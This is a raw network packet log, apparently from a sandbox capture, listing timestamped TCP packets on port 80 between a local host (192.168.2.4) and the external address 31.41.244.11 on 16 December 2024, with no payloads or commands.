Dec 16, 2024 21:03:01.746844053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.746947050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.747492075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.747539997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.747639894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.747688055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.748400927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.748452902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.748605013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.748869896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.749262094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.749311924 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.749366045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.749440908 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.750140905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.750193119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.750269890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.750319958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.751074076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.751125097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.751197100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.751288891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.751929998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.751980066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.752068043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.752101898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.752893925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.752928972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.752969027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.752999067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.753710985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.753760099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.753829956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.753920078 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.754549026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.754605055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.754667044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.754791021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.755445957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.755496979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.755553961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.755656004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.756320953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.756371021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.756442070 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.756494999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.903480053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.903532028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.903573990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.903709888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.903709888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.903709888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.903763056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.904217005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.904318094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.904318094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.904340982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.904447079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.905111074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.905240059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.905304909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.905987024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.906050920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.906089067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.906141996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.906894922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.906960011 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.907032013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.907082081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.907747030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.907798052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.907896996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.907973051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.908618927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.908746004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.908771038 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.908829927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.909490108 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.909583092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.909638882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.909687996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.910487890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.910542965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.910609961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.910716057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.911281109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.911336899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.911355019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.911403894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.912147045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.912199974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.912338972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.912391901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.913012981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.913077116 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.913167953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.913233042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.914005995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.914063931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.914115906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.914865971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.914921045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.914937019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.914972067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.915749073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.915803909 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.915853977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.916682959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.916758060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.916766882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.916815996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.917514086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.917573929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.917591095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.917625904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.918354034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.918411970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.918451071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.918504953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.919200897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.919271946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.919296026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.919349909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.920151949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.920222998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.920344114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.920416117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.921080112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.921135902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.921190023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.921843052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.921909094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.922074080 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.922126055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.922902107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.922967911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.923041105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.923105001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.923696041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.923763990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.923845053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.923996925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.924608946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.924669981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.924705982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.924855947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.925417900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.925493956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.925534010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.925595999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.926270008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.926333904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.926403999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.926450014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.927181005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.927263975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.927346945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.927584887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.928018093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.928083897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.928150892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.928654909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.928904057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.929033995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.929085970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.929800987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.929851055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.929881096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.929932117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.930672884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.930730104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.930773973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.930824995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.931549072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.931598902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.931679964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.931768894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.932424068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.932478905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.932507038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.932533979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.933337927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.933392048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.933461905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.933507919 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.934195995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.934282064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.934355974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.934403896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.935070992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.935121059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.935170889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.935275078 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.935951948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.936054945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.936114073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.936924934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.936981916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.936995029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.937028885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.937674999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.937807083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.937870979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.938627005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.938678980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.938750982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.938796997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.939531088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.939601898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.939656019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.939698935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.940397978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.940453053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.940486908 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.940525055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.941278934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.941342115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.941359997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.941646099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.942117929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.942184925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.942256927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.942332983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.943026066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.943087101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.943114042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.943274021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.943893909 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.944017887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.944077969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.944791079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.944856882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.945580006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.945672035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.945691109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.945725918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.945770979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.945794106 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.946544886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.946712017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.946717978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.946758986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.947447062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.947523117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.947561026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.947681904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.948328972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.948385000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.948437929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.949142933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.949207067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.096223116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.096276999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.096312046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.096370935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.096425056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.096425056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.096426010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.096426010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.097017050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.097069025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.097213030 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.097213030 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.097835064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.097996950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.098119974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.098155975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.098345995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.098345995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.098993063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.099065065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.099210978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.099277020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.099885941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.099972963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.100047112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.100116014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.100799084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.100878000 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.100913048 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.101068020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.101665020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.101737022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.101768970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.101876020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.102530003 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.102601051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.102606058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.102655888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.103430986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.103620052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.103676081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.104300976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.104408026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.104540110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.104649067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.105180979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.105257034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.105315924 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.105365992 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.106092930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.106162071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.106184006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.106235027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.106946945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.107013941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.107064009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.107172012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.107801914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.107877016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.107949018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.108001947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.108710051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.108767033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.108828068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.109621048 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.109761000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.109833002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.110524893 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.110579967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.110605955 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.110631943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.111380100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.111449957 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.111525059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.111608982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.112215042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.112274885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.112323999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.113084078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.113138914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.113140106 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.113182068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.114036083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.114105940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.114106894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.114211082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.114881039 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.114934921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.115008116 CET	49882	80	192.168.2.4	31.41.244.11
